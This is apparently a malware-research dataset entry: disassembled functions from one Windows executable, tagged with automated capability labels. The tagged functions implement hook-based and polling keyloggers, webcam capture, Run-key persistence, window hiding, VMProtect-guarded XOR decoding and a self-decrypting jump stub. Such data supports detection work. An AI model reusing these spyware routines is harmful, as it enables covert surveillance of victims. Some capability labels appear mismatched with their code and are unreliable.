joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46d868
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46d9b2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0046cdc8
xor eax, eax
push ebp
push 0x46d995
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x46d8cd
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x46d8cd
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x46d97f
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x46d8e0
call fcn.00403c00
jmp 0x46d99c
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x46d97f
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x46d97f
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004035c4
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x46d97f
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040b7a0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x46d9cc
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4b6774]
mov dl, 1
mov eax, dword [0x46bc30]
call fcn.0040c0d0
call fcn.00403b54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d99c
mov eax, dword [ebp - 4]
call fcn.0046cdd4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d9b9
lea eax, [ebp - 0x28]
call fcn.0040419c
ret
Function at 0x470c94
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x470db5
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetVersion_1
mov edx, dword [0x4b675c]
mov dword [edx], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4b675c]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x470dcc
call fcn.004095ec
mov eax, dword [ebp - 4]
call fcn.00485584
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x4b6440]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
mov eax, dword [0x4b6708]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0
lea edx, [ebp - 0x20]
mov ecx, 1
mov eax, 0x470de8
call fcn.004095ec
mov eax, dword [ebp - 0x10]
call fcn.00485584
call sub.kernel32.dll_GetCurrentThreadId_1
mov esi, eax
push esi
push 0
push 0x4709bc
push 5
call sub.user32.dll_SetWindowsHookExA
mov dword [ebx + 0x1c], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x470e08
call fcn.004095ec
mov eax, dword [ebp - 0x24]
call fcn.00485584
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x470e20
call fcn.004095ec
mov eax, dword [ebp - 0x28]
call fcn.00485584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x470dbc
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004041c0
lea eax, [ebp - 0x10]
call fcn.0040419c
lea eax, [ebp - 4]
call fcn.0040419c
ret

Function at 0x4777b0
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov edi, edx
mov ebx, eax
push 0xfffffffffffffff0
mov eax, dword [ebx + 0x4c]
push eax
call sub.user32.dll_GetWindowLongA
mov esi, eax
mov eax, esp
push eax
push 0
push 0x419
mov eax, dword [ebx + 0x4c]
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
test esi, 2
jbe 0x4777fe
mov edx, dword [ebx + 0x48]
cmp dword [edx + 0x140], 0
je 0x4777fe
mov eax, dword [ebx + 0x48]
mov eax, dword [eax + 0x140]
mov eax, dword [eax + 0x14]
jmp 0x47780e
mov edx, dword [ebx + 0x48]
mov edx, dword [edx + 0x13c]
test edx, edx
je 0x47780e
mov eax, dword [edx + 0x14]
test eax, eax
je 0x477827
push eax
push 2
push 5
mov edx, dword [edi + 0x10]
lea ecx, [esp + 0xc]
mov eax, ebx
call fcn.004751b0
jmp 0x47786a
mov edx, dword [edi + 0x10]
mov eax, dword [ebx + 0x34]
call fcn.004235e8
mov eax, dword [ebx + 0x34]
mov eax, dword [eax + 0x14]
call fcn.00422c54
mov esi, eax
mov eax, dword [ebx + 0x48]
mov edx, dword [eax + 0xa8]
mov eax, dword [ebx + 0x34]
mov eax, dword [eax + 0x10]
call fcn.0042297c
mov edx, esp
mov eax, dword [ebx + 0x34]
call fcn.004231dc
mov eax, dword [ebx + 0x34]
mov eax, dword [eax + 0x10]
mov edx, esi
call fcn.0042297c
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x47c684
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov edi, edx
mov ebp, eax
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.0045d018
mov ebx, eax
mov dx, word [edi + 4]
mov eax, ebp
call fcn.0047c530
mov esi, eax
test esi, esi
je 0x47c6d1
mov al, byte [0x47c6e4]
cmp al, bl
jne 0x47c6d1
mov edx, esi
mov eax, ebp
call fcn.0047c4d8
mov dword [edi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x47c6d9
mov edx, edi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x47f720
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.004090fc
add esp, 0x3ec
pop ebx
ret

Function at 0x480aec
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
call fcn.00457f28
mov edi, eax
dec edi
test edi, edi
jl 0x480b9f
inc edi
xor esi, esi
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.00457f38
mov eax, dword [eax + 0xc]
sub eax, 1
jb 0x480b36
je 0x480b57
dec eax
je 0x480b78
jmp 0x480b97
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.00457f38
cmp byte [ebx + 0x15c], 0
setne dl
call fcn.00457e54
jmp 0x480b97
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.00457f38
cmp byte [ebx + 0x15c], 1
setne dl
call fcn.00457e54
jmp 0x480b97
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.00457f38
cmp byte [ebx + 0x15c], 2
setne dl
call fcn.00457e54
inc esi
dec edi
jne 0x480b17
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebx + 0x88]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x8c]
cdq
cmp edx, dword [esp + 4]
jne 0x480bc4
cmp eax, dword [esp]
pop edx
pop eax
jae 0x480c25
jmp 0x480bc8
pop edx
pop eax
jge 0x480c25
mov esi, 2
call sub.kernel32.dll_GetTickCount
mov dword [ebx + 0x88], eax
mov eax, dword [ebx + 0x130]
test byte [eax + 0x50], 2
je 0x480c01
cmp byte [ebx + 0x159], 2
je 0x480c01
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov eax, dword [ebx + 0xec]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x480c41
push 0
mov eax, dword [ebx + 0x124]
push eax
push 0
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push eax
push esi
mov eax, dword [ebx + 0xfc]
push eax
call sub.user32.dll_TrackPopupMenu
jmp 0x480c41
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.0042f62c
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x124]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x489de8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x489f32
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0x88], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x489f17
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.004090fc
mov dl, 1
mov eax, dword [0x46f804]
call fcn.0046f85c
mov edx, dword [ebp - 4]
mov dword [edx + 0x80], eax
mov dl, 1
mov eax, dword [0x416a94]
call fcn.00403398
mov edx, dword [ebp - 4]
mov dword [edx + 0x40], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x84]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x80]
call fcn.0046f8d8
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x489f14
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x40]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x80]
mov edx, 0x489f48
call fcn.0046fc24
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004044a8
xor eax, eax
push ebp
push 0x489f0d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x40]
mov edx, dword [ebp - 0xc]
call fcn.0041b290
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00489f50
mov eax, dword [ebp - 0xc]
call fcn.00408d48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x489f14
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x80]
call fcn.004033c8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x40]
call fcn.004033c8
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x489f39
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004041c0
ret

Function at 0x493074
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [0x4b6690]
mov eax, dword [eax]
call fcn.004657e8
cmp byte [ebx + 0x290], 0
je 0x4930a8
cmp byte [ebx + 0x298], 0
je 0x4930a8
push 0
mov eax, dword [0x4b6690]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
mov eax, ebx
mov si, 0xffe7
call fcn.004035c4
pop esi
pop ebx
ret
Function at 0x4974dc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x2c]
mov edi, dword [ebx + 0x3c]
sub edi, dword [ebx + 0x74]
sub edi, dword [ebx + 0x6c]
jmp 0x49750b
mov eax, dword [ebx + 0x2c]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x6c]
ja 0x49758a
push esi
mov eax, dword [ebx + 0x38]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.00495d98
add esp, 0xc
sub dword [ebx + 0x70], esi
sub dword [ebx + 0x6c], esi
sub dword [ebx + 0x5c], ebp
mov eax, dword [ebx + 0x4c]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x44]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x497558
mov cx, word [esp]
sub cx, si
jmp 0x49755a
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x497541
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x40]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x497580
mov cx, word [esp]
sub cx, si
jmp 0x497582
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x497569
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x4975e7
mov edx, dword [ebx + 0x38]
mov ecx, edi
add edx, dword [ebx + 0x6c]
mov eax, ebp
add edx, dword [ebx + 0x74]
call fcn.004971b0
add dword [ebx + 0x74], eax
cmp dword [ebx + 0x74], 3
jb 0x4975d2
mov eax, dword [ebx + 0x38]
mov edx, dword [ebx + 0x6c]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x48], eax
mov ecx, dword [ebx + 0x58]
shl eax, cl
mov edx, dword [ebx + 0x38]
mov ecx, dword [ebx + 0x6c]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x54]
mov dword [ebx + 0x48], eax
cmp dword [ebx + 0x74], 0x106
jae 0x4975e7
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x4974e6
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x49db1c
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x4b8060
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x49db3e
shr eax, 1
xor eax, 0xedb88320
jmp 0x49db40
shr eax, 1
dec edx
jne 0x49db2c
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x49db25
mov byte [0x4b8460], 1
pop esi
pop ebx
ret

Function at 0x49db5c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x4b8460], 0
jne 0x49db73
call fcn.0049db1c
mov eax, edi
dec eax
test eax, eax
jl 0x49db9c
inc eax
xor edx, edx
xor ecx, ecx
mov cl, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x4b8060]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x49db7d
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4a05fc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov al, byte [eax]
dec al
je 0x4a062d
dec al
je 0x4a0669
dec al
je 0x4a06ad
dec al
je 0x4a0718
jmp 0x4a07a2
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x4a07a2
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
mov dl, byte [ecx + edx]
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x4a063d
jmp 0x4a07a2
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4a07a2
mov esi, 1
mov al, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov dl, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
xor eax, eax
mov al, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x4a0679
jmp 0x4a07a2
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4a07a2
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x4a06db
xor ebp, ebp
jmp 0x4a06ec
mov ecx, esi
sub ecx, edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x4a06f5
adc eax, 0
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x4a06bd
jmp 0x4a07a2
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4a07a2
mov esi, 1
mov al, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x4a0770
mov edx, esi
sub edx, dword [ebx + 0x24]
xor ecx, ecx
mov cl, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
mov dl, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
mov cl, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.0049dba4
add al, byte [esp]
and al, 0xff
xor edx, edx
mov dl, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x4a072c
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4a45d4
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x41577c]
call fcn.00404b54
xor eax, eax
push ebp
push 0x4a4718
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4b60fc], 0
jne 0x4a4627
mov ecx, dword [0x4b6274]
mov dl, 1
mov eax, dword [0x4076a0]
call fcn.0040c094
call fcn.00403b54
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402db8
mov eax, ebx
call fcn.00404a04
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x4a4728
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00405ad8
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404a14
test eax, eax
jle 0x4a46bf
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4a46b8
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404424
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.0040440c
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408558
test eax, eax
jne 0x4a46b8
mov ebx, 0x15
jmp 0x4a46c4
mov ebx, 0x10
jmp 0x4a46c4
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x4b60fc]
call fcn.004a44d0
mov eax, dword [ebp - 8]
call fcn.004a44d0
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00405af0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a471f
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004041c0
lea eax, [ebp - 0x10]
mov edx, dword [0x41577c]
call fcn.00404c24
ret
Function at 0x4ac19c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4ac2b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x44]
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 4]
push eax
push 0
mov eax, ebx
call fcn.0040465c
push eax
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
push eax
call sub.kernel32.dll_SetLastError
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x4ac28d
cmp dword [ebp - 4], 7
jne 0x4ac275
mov eax, dword [ebp - 8]
call fcn.0040276c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4ac26e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
mov eax, ebx
call fcn.0040465c
push eax
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, dword [ebp - 0xc]
jmp 0x4ac253
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00404394
mov edx, dword [ebp - 0x10]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push ebx
call sub.kernel32.dll_lstrlenA_1
inc eax
add ebx, eax
cmp byte [ebx], 0
jne 0x4ac236
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ac2a3
mov eax, dword [ebp - 0xc]
call fcn.0040278c
ret
mov ecx, 0x4ac2d0
mov dl, 1
mov eax, dword [0x431330]
call fcn.0040bfd8
call fcn.00403b54
jmp 0x4ac2a3
mov ecx, 0x4ac2f0
mov dl, 1
mov eax, dword [0x4076a0]
call fcn.0040bfd8
call fcn.00403b54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ac2c0
lea eax, [ebp - 0x10]
call fcn.0040419c
ret

Function at 0x4acde0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040464c
xor eax, eax
push ebp
push 0x4ace75
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4ace84
call sub.VMProtectSDK32.dll_VMProtectBegin
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.00404234
mov eax, dword [ebp - 4]
call fcn.0040445c
test eax, eax
jle 0x4ace50
mov eax, dword [ebp - 4]
call fcn.0040445c
mov esi, eax
test esi, esi
jle 0x4ace50
mov ebx, 1
lea eax, [ebp - 4]
call fcn.004046b4
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 0x10
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4ace36
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004041f0
call sub.VMProtectSDK32.dll_VMProtectEnd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ace7c
lea eax, [ebp - 4]
call fcn.0040419c
ret
Function at 0x4af754
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040464c
xor eax, eax
push ebp
push 0x4af7f0
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4af7c6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x431390]
call fcn.004314fc
mov dword [ebp - 8], eax
mov edx, 0x80000002
mov eax, dword [ebp - 8]
call fcn.004315d8
mov cl, 1
mov edx, 0x4af808
mov eax, dword [ebp - 8]
call fcn.00431640
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.00431764
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4af7d2
mov eax, dword [ebp - 8]
call fcn.004033c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4af7f7
lea eax, [ebp - 4]
call fcn.0040419c
ret

Function at 0x4afd6c
Capabilities:
Read file via mapping

Disassembly:
push 0x4afe0c
push 0
push 0xf001f
call sub.kernel32.dll_OpenFileMappingA
mov dword [0x4b8510], eax
cmp dword [0x4b8510], 0
jne 0x4afddc
push 0x4afe0c
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov dword [0x4b8510], eax
push 0
push 0
push 0
push 6
mov eax, dword [0x4b8510]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [0x4b8514], eax
cmp dword [0x4b8514], 0
jne 0x4afdd1
mov eax, dword [0x4b8510]
push eax
call sub.kernel32.dll_CloseHandle
ret
mov eax, dword [0x4b8514]
xor edx, edx
mov dword [eax], edx
jmp 0x4afe08
push 0
push 0
push 0
push 6
mov eax, dword [0x4b8510]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [0x4b8514], eax
cmp dword [0x4b8514], 0
jne 0x4afe08
mov eax, dword [0x4b8510]
push eax
call sub.kernel32.dll_CloseHandle
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx